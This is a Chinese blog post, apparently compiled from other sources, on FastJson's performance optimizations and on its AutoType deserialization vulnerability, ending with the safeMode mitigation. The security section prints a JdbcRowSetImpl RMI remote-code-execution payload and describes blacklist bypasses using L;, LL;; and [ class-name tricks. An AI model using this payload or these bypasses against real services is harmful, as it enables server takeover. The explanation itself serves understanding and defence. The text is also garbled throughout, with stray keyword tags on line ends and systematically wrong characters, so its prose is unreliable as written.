由于公司提供的基础框架使用的是 FastJson 框架、而部门的架构师推荐使用 Jackson。因此特此了解下 FastJson 相关的东西。java
FastJson 是阿里开源的 Json 解析库、能够进行序列化以及反序列化。git
github.com/alibaba/fas…github
最广为人所知的一个特色就是快
web
fastjson相对其余JSON库的特色是快,从2011年fastjson发布1.1.x版本以后,其性能从未被其余Java实现的JSON库超越。算法
贴上几张对比图json
从上面能够看到不管是反序列化仍是序列化 FastJson 和 Jackson 差距其实并非很大。数组
自行编写相似StringBuilder的工具类SerializeWriter。缓存
把java对象序列化成json文本,是不可能使用字符串直接拼接的,由于这样性能不好。比字符串拼接更好的办法是使用java.lang.StringBuilder。StringBuilder虽然速度很好了,但还可以进一步提高性能的,fastjson中提供了一个相似StringBuilder的类com.alibaba.fastjson.serializer.SerializeWriter。安全
SerializeWriter提供一些针对性的方法减小数组越界检查。例如public void writeIntAndChar(int i, char c) {},这样的方法一次性把两个值写到buf中去,可以减小一次越界检查。目前SerializeWriter还有一些关键的方法可以减小越界检查的,我还没实现。也就是说,若是实现了,可以进一步提高serialize的性能。性能优化
使用ThreadLocal来缓存buf。
这个办法可以减小对象分配和gc,从而提高性能。SerializeWriter中包含了一个char[] buf,每序列化一次,都要作一次分配,使用ThreadLocal优化,可以提高性能。
使用asm避免反射
获取java bean的属性值,须要调用反射,fastjson引入了asm的来避免反射致使的开销。fastjson内置的asm是基于objectweb asm 3.3.1改造的,只保留必要的部分,fastjson asm部分不到1000行代码,引入了asm的同时不致使大小变大太多。
使用一个特殊的IdentityHashMap优化性能。
fastjson对每种类型使用一种serializer,因而就存在class -> JavaBeanSerizlier的映射。fastjson使用IdentityHashMap而不是HashMap,避免equals操做。咱们知道HashMap的算法的transfer操做,并发时可能致使死循环,可是ConcurrentHashMap比HashMap系列会慢,由于其使用volatile和lock。fastjson本身实现了一个特别的IdentityHashMap,去掉transfer操做的IdentityHashMap,可以在并发时工做,可是不会致使死循环。
缺省启用sort field输出
json的object是一种key/value结构,正常的hashmap是无序的,fastjson缺省是排序输出的,这是为deserialize优化作准备。
集成jdk实现的一些优化算法
在优化fastjson的过程当中,参考了jdk内部实现的算法,好比int to char[]算法等等。
读取token基于预测。
全部的parser基本上都须要作词法处理,json也不例外。fastjson词法处理的时候,使用了基于预测的优化算法。好比key以后,最大的多是冒号":",value以后,多是有两个,逗号","或者右括号"}"。在com.alibaba.fastjson.parser.JSONScanner中提供了这样的方法
public void nextToken(int expect) {
for (;;) {
switch (expect) {
case JSONToken.COMMA: //
if (ch == ',') {
token = JSONToken.COMMA;
ch = buf[++bp];
return;
}
if (ch == '}') {
token = JSONToken.RBRACE;
ch = buf[++bp];
return;
}
if (ch == ']') {
token = JSONToken.RBRACKET;
ch = buf[++bp];
return;
}
if (ch == EOI) {
token = JSONToken.EOF;
return;
}
break;
// ... ...
}
}
复制代码
从上面摘抄下来的代码看,基于预测可以作更少的处理就可以读取到token。
sort field fast match算法
fastjson的serialize是按照key的顺序进行的,因而fastjson作deserializer时候,采用一种优化算法,就是假设key/value的内容是有序的,读取的时候只须要作key的匹配,而不须要把key从输入中读取出来。经过这个优化,使得fastjson在处理json文本的时候,少读取超过50%的token,这个是一个十分关键的优化算法。基于这个算法,使用asm实现,性能提高十分明显,超过300%的性能提高。
{ "id" : 123, "name" : "魏加流", "salary" : 56789.79}
------ -------- ----------
复制代码
在上面例子看,虚线标注的三个部分是key,若是key_id、key_name、key_salary这三个key是顺序的,就能够作优化处理,这三个key不须要被读取出来,只须要比较就能够了。
这种算法分两种模式,一种是快速模式,一种是常规模式。快速模式是假定key是顺序的,能快速处理,若是发现不可以快速处理,则退回常规模式。保证性能的同时,不会影响功能。
在这个例子中,常规模式须要处理13个token,快速模式只须要处理6个token。
演示 sort field fast match 算法的代码
// 用于快速匹配的每一个字段的前缀
char[] size_ = "\"size\":".toCharArray();
char[] uri_ = "\"uri\":".toCharArray();
char[] titile_ = "\"title\":".toCharArray();
char[] width_ = "\"width\":".toCharArray();
char[] height_ = "\"height\":".toCharArray();
// 保存parse开始时的lexer状态信息
int mark = lexer.getBufferPosition();
char mark_ch = lexer.getCurrent();
int mark_token = lexer.token();
int height = lexer.scanFieldInt(height_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
// 退出快速模式, 进入常规模式
lexer.reset(mark, mark_ch, mark_token);
return (T) super.deserialze(parser, clazz);
}
String value = lexer.scanFieldString(size_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
// 退出快速模式, 进入常规模式
lexer.reset(mark, mark_ch, mark_token);
return (T) super.deserialze(parser, clazz);
}
Size size = Size.valueOf(value);
// ... ...
// batch set
Image image = new Image();
image.setSize(size);
image.setUri(uri);
image.setTitle(title);
image.setWidth(width);
image.setHeight(height);
return (T) image;
复制代码
使用asm避免反射
deserialize的时候,会使用asm来构造对象,而且作batch set,也就是说合并连续调用多个setter方法,而不是分散调用,这个可以提高性能。
对utf-8的json bytes,针对性使用优化的版原本转换编码。
这个类是com.alibaba.fastjson.util.UTF8Decoder,来源于JDK中的UTF8Decoder,可是它使用ThreadLocal Cache Buffer,避免转换时分配char[]的开销。 ThreadLocal Cache的实现是这个类com.alibaba.fastjson.util.ThreadLocalCache。第一次1k,若是不够,会增加,最多增加到128k。
//代码摘抄自com.alibaba.fastjson.JSON
public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz, Feature... features) {
charsetDecoder.reset();
int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
char[] chars = ThreadLocalCache.getChars(scaleLength); // 使用ThreadLocalCache,避免频繁分配内存
ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
CharBuffer charByte = CharBuffer.wrap(chars);
IOUtils.decode(charsetDecoder, byteBuf, charByte);
int position = charByte.position();
return (T) parseObject(chars, position, clazz, features);
}
复制代码
symbolTable算法。
咱们看xml或者javac的parser实现,常常会看到有一个这样的东西symbol table,它就是把一些常用的关键字缓存起来,在遍历char[]的时候,同时把hash计算好,经过这个hash值在hashtable中来获取缓存好的symbol,避免建立新的字符串对象。这种优化在fastjson里面用在key的读取,以及enum value的读取。这是也是parse性能优化的关键算法之一。
如下是摘抄自JSONScanner类中的代码,这段代码用于读取类型为enum的value。
int hash = 0;
for (;;) {
ch = buf[index++];
if (ch == '\"') {
bp = index;
this.ch = ch = buf[bp];
strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 经过symbolTable来得到缓存好的symbol,包括fieldName、enumValue
break;
}
hash = 31 * hash + ch; // 在token scan的过程当中计算好hash
// ... ...
}
复制代码
以上这一大段内容都是来源于 FastJson 的做者 温少 的 blog
对于 Json 框架来讲、想要把一个 Java 对象转换成字符串、有两种选择
FastJson 和 Jackson 在把对象序列化成 json 字符串的时候、是经过遍历该类中全部 getter 方法进行的。Gson并非这么作的,他是经过反射遍历该类中的全部属性,并把其值序列化成json。
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
复制代码
当咱们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。
那么问题来了,咱们上面的定义的Fruit只是一个接口,序列化的时候fastjson可以把属性值正确序列化出来吗?若是能够的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
咱们尝试着验证一下,基于(fastjson v 1.2.68):
{"fruit":{"price":0.5},"name":"Hollis"}
复制代码
那么,这个fruit的类型究竟是什么呢,可否反序列化成Apple呢?咱们再来执行如下代码:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
复制代码
执行结果以下:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
复制代码
能够看到,在将store反序列化以后,咱们尝试将Fruit转换成Apple,可是抛出了异常,尝试直接转换成Fruit则不会报错,如:
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
复制代码
以上现象,咱们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时没法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
使用方法是经过SerializerFeature.WriteClassName进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
复制代码
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
复制代码
能够看到,使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。
可是,也正是这个特性,由于在功能设计之初在安全方面考虑的不够周全,也给后续fastjson使用者带来了无尽的痛苦
由于有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,而且会调用这个类的setter方法。
那么就能够利用这个特性,本身构造一个JSON字符串,而且使用@type指定一个本身想要使用的攻击类库。
举个例子,黑客比较经常使用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化时会调用目标类的setter方法,那么若是黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会致使很严重的后果。
如经过如下方式定一个JSON串,便可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
复制代码
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,经过服务器执行命令。
在早期的fastjson版本中(v1.2.25 以前),由于AutoType是默认开启的,而且也没有什么限制,能够说是裸着的。
从v1.2.25开始,fastjson默认关闭了autotype支持,而且加入了checkAutotype,加入了黑名单+白名单来防护autotype开启的状况。
可是,也是从这个时候开始,黑客和fastjson做者之间的博弈就开始了。
由于fastjson默认关闭了autotype支持,而且作了黑白名单的校验,因此攻击方向就转变成了"如何绕过checkAutotype"。
在fastjson v1.2.41 以前,在checkAutotype的代码中,会先进行黑白名单的过滤,若是要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
可是在加载的过程当中,fastjson有一段特殊的处理,那就是在具体加载类的时候会去掉className先后的L和;,形如Lcom.lang.Thread;。
而黑白名单又是经过startWith检测的,那么黑客只要在本身想要使用的攻击类库先后加上L和;就能够绕过黑白名单的检查了,也不耽误被fastjson正常加载。
如Lcom.sun.rowset.JdbcRowSetImpl;,会先经过白名单校验,而后fastjson在加载类的时候会去掉先后的L和,变成了com.sun.rowset.JdbcRowSetImpl`。
为了不被攻击,在以后的 v1.2.42版本中,在进行黑白名单检测的时候,fastjson先判断目标类的类名的先后是否是L和;,若是是的话,就截取掉先后的L和;再进行黑白名单的校验。
看似解决了问题,可是黑客发现了这个规则以后,就在攻击时在目标类先后双写LL和;;,这样再被截取以后仍是能够绕过检测。如LLcom.sun.rowset.JdbcRowSetImpl;;
魔高一尺,道高一丈。在 v1.2.43中,fastjson此次在黑白名单判断以前,增长了一个是否以LL未开头的判断,若是目标类以LL开头,那么就直接抛异常,因而就又短暂的修复了这个漏洞。
黑客在L和;这里走不通了,因而想办法从其余地方下手,由于fastjson在加载类的时候,不仅对L和;这样的类进行特殊处理,还对[也被特殊处理了。
后续几个也是围绕 AutoType 进行攻击的、感兴趣可直接查看原文。以上内容文段来自一下连接
能够看到,这些漏洞的利用几乎都是围绕AutoType来的,因而,在 v1.2.68版本中,引入了safeMode,配置safeMode后,不管白名单和黑名单,都不支持autoType,可必定程度上缓解反序列化Gadgets类变种攻击。
设置了safeMode后,@type 字段再也不生效,即当解析形如{"@type": "com.java.class"}的JSON串时,将再也不反序列化出对应的类。
开启safeMode方式以下:
ParserConfig.getGlobalInstance().setSafeMode(true);
复制代码
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
复制代码
以上内容均为整理所得